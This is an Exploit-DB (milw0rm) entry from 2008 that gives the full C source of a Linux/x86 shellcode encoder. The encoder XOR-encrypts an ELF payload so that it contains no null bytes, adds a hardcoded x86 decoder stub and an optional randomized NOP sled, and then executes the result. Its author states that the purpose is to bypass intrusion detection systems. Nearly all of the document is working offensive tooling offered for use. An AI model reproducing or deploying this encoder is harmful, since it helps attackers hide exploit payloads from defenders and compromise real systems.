Linux/x86 - Shellcode Obfuscator + Null-Free (Generator)

EDB-ID:

13328

CVE:

N/A

Author:

sm4x

Platform:

Generator

Published:

2008-12-09

/*
*       sm4x - 2008 => sm4x0rcist [a7] gmail [d07] com
*       - sh3llc0der.c v0.1 (beta)
*       - (elf binary) shellcode encryptor, NULL free for IDS payload bypassing
*       - key is a simple int for x(x(p)) decryption(encryption(p)) (modify to add/subtract if needed)
*       - if you find bugs i dont wanna know -> fix them and its urs    
*       - watch for 0x0a, 0x0d warnings for \r\n as they get mucked in most str** calls
*
*       nb: nasm ur files with -felf, then ld -o them (u know)
*       usage: ./sh3llc0der [options] binaryfile
*       - output is a encoded byte array (or raw binary if -o <file> is specified)
*       - it was easier for me to write it directly hooking to the elf struct -> but you can change it (only took 3 hours so ITS BUGGY!)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <linux/elf.h>

char decoder[] = "\xeb\x10\x5e\x31\xc9"
                                 "\xb1\x00\x80\x74\x0e" // \x00 location of payload size
                                 "\xff\x00\xfe\xc9\x75" // \x00 location of xor key
                                 "\xf7\xeb\x05\xe8\xeb"
                                 "\xff\xff\xff";

int getkey(int i) {
        int seed;
        struct timeval tm;
        gettimeofday(&tm, NULL);
        seed = tm.tv_sec + tm.tv_usec; srandom(seed);
        return (random() % i) +1;
}

void usage() {
        printf("Usage: sh3llc0der [options] shellcode\n");
        printf("\tv - verbose\n");
        printf("\to [outfile] - out file (stdout is default)\n");
        printf("\tn [size] - generate with NOP sled of size length (minus decoder)\n");
        printf("\tr     - randomize NOP sled with other operations\n");
        printf("\t? - this crud\n");
}

int main(int argc, char **argv) {
        Elf32_Ehdr elfhdr; Elf32_Phdr dataseg; Elf32_Phdr txtseg;

        int found_txt_seg = 0;  int i = 0; int r = 0; int len = 0; int key = 0; 
        int include_noop_instructions = 0; int noop_length = 0; int use_nop_randomization = 0;
        int write_file = 0;  int is_verbose = 0;
        unsigned char c; unsigned char *b = NULL; unsigned char *nb = NULL;
        char *upayload = NULL; char *outfile = NULL;
        unsigned int payload_offset = 0; unsigned int payload_size = 0;
        int (*func)();

        opterr = 0; int option = 1;
        while((option = getopt(argc, argv, "vrn:o:?")) != -1 ) {
                switch(option) {
                        case 'v':
                                is_verbose = 1;
                        break;
                        case 'o':
                                write_file = 1;
                                outfile = optarg;
                                if(outfile != NULL) { printf("[+] writing shellcode to: %s\n", outfile); } 
                        break;
                        case 'n':
                                if(optarg != NULL) noop_length = atoi(optarg); else break;
                                include_noop_instructions = 1;
                        break;
                        case 'r':
                                use_nop_randomization = 1;
                        break;
                        case '?':
                                usage(); exit(0);
                        break;
                        default:
                                // nothing
                        break;
                };
        }

        if(argc < 2) { usage(); exit(0); }
        printf("[+] sh3llc0der - sm4x 2008\n");
                
        upayload = argv[argc-1]; if(upayload == outfile) { printf("[-] ummm no\n"); usage(); exit(-1); }

        if(is_verbose) { printf("[?] opening %s\n", upayload); }
        FILE *p = fopen(upayload, "rb");
        if(p == NULL) { printf("[-] null file - nice try\n"); exit(-1); }
        
        fseek(p, 0, SEEK_END);
        len = ftell(p); rewind(p);
        if(len <= 0) { printf("[-] 0 len file - nice try\n"); exit(-1); }
        
        /* adjust our noop length for the decoder size */
        
		if(include_noop_instructions && noop_length > sizeof(decoder)) { noop_length -= sizeof(decoder); }
        printf("[+] shellcode length: %d Bytes\n", len);

        b = (char *) malloc(sizeof(char)*len);
        if(b == NULL) { printf("[-] unable to buffer shellcode - nice try again!\n"); exit(-1); }

        if(is_verbose) { printf("[?] reading %s....\n", upayload); }
        r = fread(b, 1, len, p);
        if(r != len) { printf("[-] **warning** - unable to load the entire file into buffer!\n"); }
        fclose(p); p = NULL;
        if(is_verbose) { printf("[?] file %s seems ok with %d size\n", upayload, len); }

        /* get our ELF header out of the binary */
        memcpy(&elfhdr, (void *)b, sizeof(Elf32_Ehdr));

        printf("[+] Starting address: 0x%x\n", elfhdr.e_entry);
        /* seek to our offset */
        printf("[+] Offset @ 0x%x\n", elfhdr.e_phoff);

        /* loop for seg offset (you're gonna crash here if its not a proper elf binary -> don't really care!! lol) */
        for(i = 0;i < elfhdr.e_phnum; i++) {
                /* copy in our txtseg what we think* to be the appropriate header (p_offset == 0 means text) */
                memcpy(&txtseg, &b[(sizeof(Elf32_Ehdr)) + (i * sizeof(Elf32_Phdr))], sizeof(Elf32_Phdr));
                if(txtseg.p_filesz > 0 && txtseg.p_offset == 0) { 
                        printf("[+] .text segment found, len: 0x%x|0x%x @ V:0x%x P:0x%x off: 0x%x\n", 
                                txtseg.p_filesz, txtseg.p_memsz, txtseg.p_vaddr, txtseg.p_vaddr, txtseg.p_offset);
                        found_txt_seg  = 1; break;
                } else {
                        found_txt_seg = 0;      
                }
        } if(!found_txt_seg) { printf("[-] could not find .text segment for encoding!\n"); exit(-1); }

        /* calculations for start of .text with offset (usually 0) */
        payload_size = (txtseg.p_vaddr + txtseg.p_filesz) - elfhdr.e_entry;
    payload_offset = (txtseg.p_offset + txtseg.p_filesz) - payload_size;        

        printf("[+] calc offset: 0x%x | 0x%x -> (SHELLCODE SIZE: %d Bytes)\n", payload_offset, payload_size, payload_size);

        int new_payload_size = noop_length+payload_size+sizeof(decoder)-1;

        nb = (char *) malloc(sizeof(char) * new_payload_size); 
        if(nb == NULL) { printf("[-] error creating copy payload - nice try\n"); exit(-1); }
        memset(nb, 0x0, sizeof(char) * new_payload_size); // just in case - clean it out

        // ensure we have a NULL free xor'd shellcode -> keep trying until we do 
        int is_null = 0; int warn = 0; int attempts = 0;
        while(1) {
                if(attempts > 20) { printf("[-] somthing is very wrong!! please check the binary\n"); exit(-1); }
                key = getkey(255); 
                for(i = 0; i < payload_size; i++) {
                        c = b[payload_offset+i]; c ^= key;
                        if(c == 0x00) { printf("[!] ERR: 0x%x on key: %d\n",  b[payload_offset+i], key);   is_null = 1; break; }
                        if(c == 0x0a || c == 0x0d) { printf("[!] WARN: 0x%x on key: %d\n",  b[payload_offset+i], key);  warn =1; }
                } attempts++; 
                if(is_null) { printf("[-] NULL found.. regenerating now... try=%d\n", attempts); is_null = 0; usleep(100); continue; }
        
                if(warn) { printf("[!] WARN: invalid hex was found in this shellcode -> this may* not pass some string functions!\n"); }
                if(is_verbose) { printf("[?] running xor-enc on payload now (key=%d @ %x attempts)...\n", key, attempts); }

                /* fill our new buffer -nb*/
                for(i = 0; i < payload_size; i++) {
                        nb[noop_length+sizeof(decoder)-1+i] = b[payload_offset+i];
                        if(is_verbose) { printf("\\x%.2x", b[payload_offset+i]); }
                        nb[noop_length+sizeof(decoder)-1+i] ^= key;
                } break;
        } if(is_verbose) { printf("\n"); }
        if(!warn) { printf("[+] done xor-enc on payload (NULL FREE)...\n"); } else { printf("[!] (check warnings!!) some problems with xor-enc (NULL FREE)...\n"); }

        for(i = 0; i < noop_length+payload_size-1; i++) printf("\\x%.2x", nb[sizeof(decoder)+i]); 

        /* we need to set our primary instructions to decode with xor */
        decoder[6] = payload_size; decoder[11] = key;

        printf("\n");
        if(include_noop_instructions) {
                printf("[+] prepending %d (%d = minus decoder len) NOOPs...\n", noop_length+sizeof(decoder), noop_length);
                // minus the decoder size 
                if(use_nop_randomization) {
                        for(i = 0; i < noop_length; i++) {
                                int p = getkey(5); 
                                // hardly random - but change to modify the primary sled sig
                                switch((int)p) {
                                        case 1: nb[i] = 0x90; break; 
                                        case 2: nb[i] = 0x40; nb[i+1] = 0x48; i++; break; 
                                        case 3: nb[i] = 0x50; break;
                                        case 4: nb[i] = 0x58; break;
                                        case 5: nb[i] = 0x99; break;
                                        default: nb[i] = 0x90; break;
                                };
                        }
                } else {
                        for(i = 0; i < noop_length; i++) nb[i] = 0x90;
                }
        }

        printf("[+] adding decoder of %d Bytes (total= %d Bytes)...\n", sizeof(decoder), sizeof(decoder)+payload_size);
        memcpy(nb+noop_length, decoder, sizeof(decoder)-1);
        for(i = 0; i < noop_length+payload_size+sizeof(decoder)-1; i++) printf("\\x%.2x", nb[i]); 
        printf("\n");

        if(write_file) {
                printf("[+] writing payload to: %s\n", outfile);
                FILE *w = fopen(outfile, "wb");
                if(w == NULL) { printf("[-] Unable to open file: %s\n", outfile); goto continue_test; }
                int bytes = fprintf(w, nb, sizeof(decoder)+payload_size, 0);
                fclose(w);
                printf("[+] done %d written.\n", bytes);
        }

        continue_test:
        printf("[+] testing payload now ...\n");
        printf("[-] if shellcode tests bad something has gone horribly wrong - do NOT continue with payload...\n");

        /* if this mashes out ie: seg fault -> then DO NOT use the shellcode on an exploit -> ur gonna crash the shit */
        func = (int (*)()) nb;
        (int)(*func)();

        // should never get here really

        cleanup:
                if(p != NULL) fclose(p); 
        return 0;
}

// milw0rm.com [2008-12-09]